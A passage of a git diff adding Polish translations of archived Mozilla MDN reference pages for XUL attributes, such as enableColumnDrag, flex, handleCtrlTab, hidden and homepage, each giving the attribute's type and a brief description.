new file mode 100644
index 0000000000..648dc864bd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/enablecolumndrag/index.html
@@ -0,0 +1,17 @@
+---
+title: enableColumnDrag
+slug: Mozilla/Tech/XUL/Atrybut/enableColumnDrag
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/enableColumnDrag
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-enableColumnDrag"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/enableColumnDrag">enableColumnDrag</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Kiedy ustawimy na <code>true</code>, użytkownik ma możliwość przesunięcia nagłówków kolumny, aby zmienić kolejność w jakiej są one wyświetlane.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/enablehistory/index.html b/files/pl/mozilla/tech/xul/atrybut/enablehistory/index.html
new file mode 100644
index 0000000000..46d7acc439
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/enablehistory/index.html
@@ -0,0 +1,17 @@
+---
+title: enablehistory
+slug: Mozilla/Tech/XUL/Atrybut/enablehistory
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/enablehistory
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-enablehistory"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/enablehistory">enablehistory</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest <code>true</code>, przycisk strzałki pokaże się na końcu pola tekstowego, a w momencie naciśnięcia go otworzy rozwijane menu wszystkich dostępnych rezultatów.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/equalsize/index.html b/files/pl/mozilla/tech/xul/atrybut/equalsize/index.html
new file mode 100644
index 0000000000..2dc5bcd1e5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/equalsize/index.html
@@ -0,0 +1,20 @@
+---
+title: equalsize
+slug: Mozilla/Tech/XUL/Atrybut/equalsize
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/equalsize
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Ten atrybut potrafi tworzyć dziecko elementu o takim samym rozmiarze. </dd></dl>
+<ul><li> <code>always</code>: Dla elementów zorientowanych poziomo, będzie tworzone dziecko ze wszystkich posiadanych szerokości potomka. Dla elementów zorientowanych pionowo będzie tworzone jego dziecko wszystkich posiadanych wysokości najwyższego potomka.
+</li><li> <code>never</code>: Wszystkie dzieci są wyświetlone w rozmiarze żądanym przez zawartość lub określone poprzez atrybut szerokości i wysokości lub poprzez własność szerokości i wysokości CSS.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/eventnode/index.html b/files/pl/mozilla/tech/xul/atrybut/eventnode/index.html
new file mode 100644
index 0000000000..027e2ec64a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/eventnode/index.html
@@ -0,0 +1,20 @@
+---
+title: eventnode
+slug: Mozilla/Tech/XUL/Atrybut/eventnode
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/eventnode
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-eventnode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/eventnode">eventnode</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Sygnalizuje gdzie zdarzenia nawigacji klawiaturą są nasłuchiwane. Jeśli ten atrybut jest nieokreślony, zdarzenia są nasłuchiwane z <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>. Tak więc, jeśli ten atrybut nie jest stosowany, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code> lub element wewnątrz niego musi posiadać aktywną nawigację klawiatury do zastosowania.
+</dd></dl>
+<ul><li> <code>parent</code>: Nawigacja klawiatury jest opanowana w rodzicu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>.
+</li><li> <code>window</code>: Nawigacja klawiatury jest opanowana na poziomie okna. Nawigacja kartą przydarzyć się może pod warunkiem, jeśli jakikolwiek element w oknie jest aktywny. </li><li> <code>document</code>: Nawigacja klawiatury jest opanowana na poziomie dokumentu. Nawigacja kartą przydarzyć się może pod warunkiem, jeśli jakikolwiek element w dokumencie jest aktywny.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/first-tab/index.html b/files/pl/mozilla/tech/xul/atrybut/first-tab/index.html
new file mode 100644
index 0000000000..f5ff55951d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/first-tab/index.html
@@ -0,0 +1,17 @@
+---
+title: first-tab
+slug: Mozilla/Tech/XUL/Atrybut/first-tab
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/first-tab
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-first-tab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/first-tab">first-tab</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut będzie ustawiony na <code>true</code>, dla pierwszej karty. Ten atrybut nie powinien być ustawiany ręcznie, lecz wtedy, gdy jest stosowany w <a href="pl/Motywy">motywie</a>, a jeśli jest pierwszą kartą, to powinna mieć ona inny sposób nadania stylu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/firstdayofweek/index.html b/files/pl/mozilla/tech/xul/atrybut/firstdayofweek/index.html
new file mode 100644
index 0000000000..05b376669b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/firstdayofweek/index.html
@@ -0,0 +1,23 @@
+---
+title: firstdayofweek
+slug: Mozilla/Tech/XUL/Atrybut/firstdayofweek
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/firstdayofweek
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-firstdayofweek"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/firstdayofweek">firstdayofweek</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Dzień tygodnia, który jest wyświetlany jako pierwszy dzień w siatce kalendarza. Zakres wartości jest od 0 do 6, gdzie 0 jest niedzielą, a 6 jest sobotą. Domyślna wartość jest określana lokalnie, więc tylko stosujemy ten atrybut, jeśli chcemy to przesłonić.</dd>
+</dl>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/firstpage/index.html b/files/pl/mozilla/tech/xul/atrybut/firstpage/index.html
new file mode 100644
index 0000000000..dec9f7a394
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/firstpage/index.html
@@ -0,0 +1,17 @@
+---
+title: firstpage
+slug: Mozilla/Tech/XUL/Atrybut/firstpage
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/firstpage
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-firstpage"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/firstpage">firstpage</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawiony na <code>true</code>, jeśli <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code> jest na pierwszej stronie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/flags/index.html b/files/pl/mozilla/tech/xul/atrybut/flags/index.html
new file mode 100644
index 0000000000..3ca55141b7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/flags/index.html
@@ -0,0 +1,20 @@
+---
+title: flags
+slug: Mozilla/Tech/XUL/Atrybut/flags
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/flags
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>
+</dt><dd> Typ: <i>lista wartości znajdujących się poniżej oddzielonych spacją</i>
+</dd><dd> Ustawia flagi użyte dla różnych celów. Dwie flagi są definiowane, które mogą być wartościami tego atrybutu. </dd></dl>
+<ul><li> <code>dont-test-empty</code>: Dla szablonu generowanej zawartości kompilator nie sprawdzi czy kontener jest pusty.
+</li><li> <code>dont-build-content</code>: Ta flaga może być użyta na drzewie by wskazać, że elementy zawartości nie powinny być generowane. Poprawia to wprawdzie wydajność, lecz uniemożliwia korzystanie z funkcji DOM to pobierania wierszy drzewa.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/flex/index.html b/files/pl/mozilla/tech/xul/atrybut/flex/index.html
new file mode 100644
index 0000000000..14bc5c3bd0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/flex/index.html
@@ -0,0 +1,20 @@
+---
+title: flex
+slug: Mozilla/Tech/XUL/Atrybut/flex
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/flex
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></dt>
+ <dd>Typ: <em>string</em> (reprezentujący integer)</dd>
+ <dd> </dd>
+</dl>
+
+<dl>
+ <dd>Określa elastyczność elementu, co oznacza w jaki sposób kontener dystrybuuje dostępną przestrzeń pomiędzy swoimi potomkami. Elementy elastyczne powiększają się i zmniejszają wypełniając całą dostępną przestrzeń. Elementy posiadające wyższą wartość tego atrybutu powiększają się bardziej niż elementy z niższymi wartościami, proporcjonalnie do podanych wartości. Konkretna wartość nie jest brana pod uwagę jeśli nie ma więcej elementów elastycznych w danym kontenerze.  W chwili gdy domyślny rozmiar elementów w pudełku jest już obliczony, elementom przydzielana jest pozostała wolna przestrzeń w zależności od ich współczynnika elastyczności.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/focused/index.html b/files/pl/mozilla/tech/xul/atrybut/focused/index.html
new file mode 100644
index 0000000000..eae826ac59
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/focused/index.html
@@ -0,0 +1,17 @@
+---
+title: focused
+slug: Mozilla/Tech/XUL/Atrybut/focused
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/focused
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut jest ustawiony na <code>true</code>, jeśli element jest aktywny (focused).
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/grippyhidden/index.html b/files/pl/mozilla/tech/xul/atrybut/grippyhidden/index.html
new file mode 100644
index 0000000000..a9395fd91f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/grippyhidden/index.html
@@ -0,0 +1,18 @@
+---
+title: grippyhidden
+slug: Mozilla/Tech/XUL/Atrybut/grippyhidden
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/grippyhidden
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-grippyhidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/grippyhidden">grippyhidden</a></code>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Kiedy ustawiamy na <code>true</code>, grippy będzie ukryty. Kiedy ustawienie będzie na <code>false</code>, domyślnie, grippy będzie wyświetlony.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/grippytooltiptext/index.html b/files/pl/mozilla/tech/xul/atrybut/grippytooltiptext/index.html
new file mode 100644
index 0000000000..14fa6b32a0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/grippytooltiptext/index.html
@@ -0,0 +1,18 @@
+---
+title: grippytooltiptext
+slug: Mozilla/Tech/XUL/Atrybut/grippytooltiptext
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/grippytooltiptext
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-grippytooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/grippytooltiptext">grippytooltiptext</a></code>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Typ: <i>string</i>
+</dd><dd> Tekst do wyświetlenia w poradzie dla <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code> paska narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>), w momencie gdy pasek narzędzi jest zwinięty. Zostanie on zastosowany do etykiety grippy, więc użytkownik wie, który pasek narzędzi jest reprezentowany.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/group/index.html b/files/pl/mozilla/tech/xul/atrybut/group/index.html
new file mode 100644
index 0000000000..4433fb7c6b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/group/index.html
@@ -0,0 +1,21 @@
+---
+title: group
+slug: Mozilla/Tech/XUL/Atrybut/group
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/group
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ nazwa grupy jako łańcuch znaków</i>
+ &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dd>
+ <dd>
+ Przyciski z tą samą wartością atrybutu <code>group</code> należą do tej samej grupy. Tylko jeden przycisk z grupy może być zaznaczony w danej chwili. Jeśli użytkownik zaznaczy jeden z przycisków, inne z tej grupy zostaną odznaczone.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/handlectrlpageupdown/index.html b/files/pl/mozilla/tech/xul/atrybut/handlectrlpageupdown/index.html
new file mode 100644
index 0000000000..329cd08e57
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/handlectrlpageupdown/index.html
@@ -0,0 +1,17 @@
+---
+title: handleCtrlPageUpDown
+slug: Mozilla/Tech/XUL/Atrybut/handleCtrlPageUpDown
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Mozilla/Tech/XUL/Attribute/handleCtrlPageUpDown
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-handleCtrlPageUpDown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlPageUpDown">handleCtrlPageUpDown</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawione na <code>true</code> lub opuszczone, to klawisze &lt;tt&gt;Control&lt;/tt&gt; i &lt;tt&gt;Page Up&lt;/tt&gt; lub &lt;tt&gt;Page Down&lt;/tt&gt; mogą służyć do przełączania do następnej lub wcześniejszej karty. Jeśli ten atrybut jest ustawiony na <code>false</code>, te klawisze nie będą służyły do nawigacji pomiędzy kartami.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/handlectrltab/index.html b/files/pl/mozilla/tech/xul/atrybut/handlectrltab/index.html
new file mode 100644
index 0000000000..dfbfb87526
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/handlectrltab/index.html
@@ -0,0 +1,17 @@
+---
+title: handleCtrlTab
+slug: Mozilla/Tech/XUL/Atrybut/handleCtrlTab
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/handleCtrlTab
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-handleCtrlTab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlTab">handleCtrlTab</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony na <code>true</code> lub zostanie opuszczony, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code> będzie przełączany do następnej karty gdy naciśniemy klawisze &lt;tt&gt;Control&lt;/tt&gt; i &lt;tt&gt;Tab&lt;/tt&gt;. Jeśli klawisz &lt;tt&gt;Shift&lt;/tt&gt; jest przytrzymany wciśnięty to zostanie wyświetlona wcześniejsza karta. Jeśli ten atrybut jest ustawiony na <code>false</code>, to te klawisze nie będą przenosiły pomiędzy kartami.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/height/index.html b/files/pl/mozilla/tech/xul/atrybut/height/index.html
new file mode 100644
index 0000000000..bef6472bbe
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/height/index.html
@@ -0,0 +1,17 @@
+---
+title: height
+slug: Mozilla/Tech/XUL/Atrybut/height
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/height
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Wysokość elementu w pikselach. Zalecane jest stosowanie zamiast wysokości - własność wysokości CSS.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/helpuri/index.html b/files/pl/mozilla/tech/xul/atrybut/helpuri/index.html
new file mode 100644
index 0000000000..9991d35b45
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/helpuri/index.html
@@ -0,0 +1,18 @@
+---
+title: helpURI
+slug: Mozilla/Tech/XUL/Atrybut/helpURI
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/helpURI
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-helpURI"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/helpURI">helpURI</a></code></dt>
+ <dd>
+ Typ: <i>uri</i></dd>
+ <dd>
+ URI strony pomocy połączona z panelem preferencji. URI będzie otwarty przy zastosowaniu przeglądarki pomocy, kiedy zostanie naciśnięty przycisk pomocy.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/hidden/index.html b/files/pl/mozilla/tech/xul/atrybut/hidden/index.html
new file mode 100644
index 0000000000..9fad959abd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/hidden/index.html
@@ -0,0 +1,17 @@
+---
+title: hidden
+slug: Mozilla/Tech/XUL/Atrybut/hidden
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/hidden
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawiony na <code>true</code>, element jest nie wyświetlane. Jest to podobne do ustawienia wyświetlania własności CSS na <code>none</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/hidechrome/index.html b/files/pl/mozilla/tech/xul/atrybut/hidechrome/index.html
new file mode 100644
index 0000000000..106bc9f031
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/hidechrome/index.html
@@ -0,0 +1,17 @@
+---
+title: hidechrome
+slug: Mozilla/Tech/XUL/Atrybut/hidechrome
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/hidechrome
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-hidechrome"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidechrome">hidechrome</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawia ten atrybut na <code>true</code> do posiadanego chrome, włączając ukryty pasek tytułu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/hidecolumnpicker/index.html b/files/pl/mozilla/tech/xul/atrybut/hidecolumnpicker/index.html
new file mode 100644
index 0000000000..3a119b0712
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/hidecolumnpicker/index.html
@@ -0,0 +1,17 @@
+---
+title: hidecolumnpicker
+slug: Mozilla/Tech/XUL/Atrybut/hidecolumnpicker
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/hidecolumnpicker
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-hidecolumnpicker"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidecolumnpicker">hidecolumnpicker</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Kiedy ustawiony na <code>false</code>, to dostępne będzie rozwijane menu w prawym górnym rogu drzewa (<code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>), które użytkownik może zastosować do pokazania lub ukrycia kolumn. Kiedy jest ustawiony na <code>true</code>, to column picker będzie ukryty. Domyślną wartością jest <code>false</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/hideheader/index.html b/files/pl/mozilla/tech/xul/atrybut/hideheader/index.html
new file mode 100644
index 0000000000..4f08088283
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/hideheader/index.html
@@ -0,0 +1,17 @@
+---
+title: hideheader
+slug: Mozilla/Tech/XUL/Atrybut/hideheader
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/hideheader
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-hideheader"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hideheader">hideheader</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustaw atrybut na <code>true</code>, aby wskazać, który nagłówek <a href="pl/XUL/treecol">kolumny drzewa</a> powinien być wyświetlony bez stylu nagłówka kolumny.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/hideseconds/index.html b/files/pl/mozilla/tech/xul/atrybut/hideseconds/index.html
new file mode 100644
index 0000000000..8bcaf39e40
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/hideseconds/index.html
@@ -0,0 +1,18 @@
+---
+title: hideseconds
+slug: Mozilla/Tech/XUL/Atrybut/hideseconds
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/hideseconds
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-hideseconds"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hideseconds">hideseconds</a></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Sygnalizuje gdzie pokazać pole sekund.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/homepage/index.html b/files/pl/mozilla/tech/xul/atrybut/homepage/index.html
new file mode 100644
index 0000000000..322da75efe
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/homepage/index.html
@@ -0,0 +1,17 @@
+---
+title: homepage
+slug: Mozilla/Tech/XUL/Atrybut/homepage
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/homepage
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-homepage"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/homepage">homepage</a></code>
+</dt><dd> Typ: <i>adres URL strony startowej</i>
+</dd><dd> Atrybut ten pozwala ustawić stronę startową dla elementu <code>browser</code>. Nie ma to żadnego związku ze stroną startową użytkownika przeglądarki. Pozwala za to na wygodne przechowywanie adresu strony startowej. Stronę startową można otworzyć przy użyciu metody <span id="m-goHome"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goHome">goHome</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/href/index.html b/files/pl/mozilla/tech/xul/atrybut/href/index.html
new file mode 100644
index 0000000000..64dad16d4c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/href/index.html
@@ -0,0 +1,19 @@
+---
+title: href
+slug: Mozilla/Tech/XUL/Atrybut/href
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/href
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
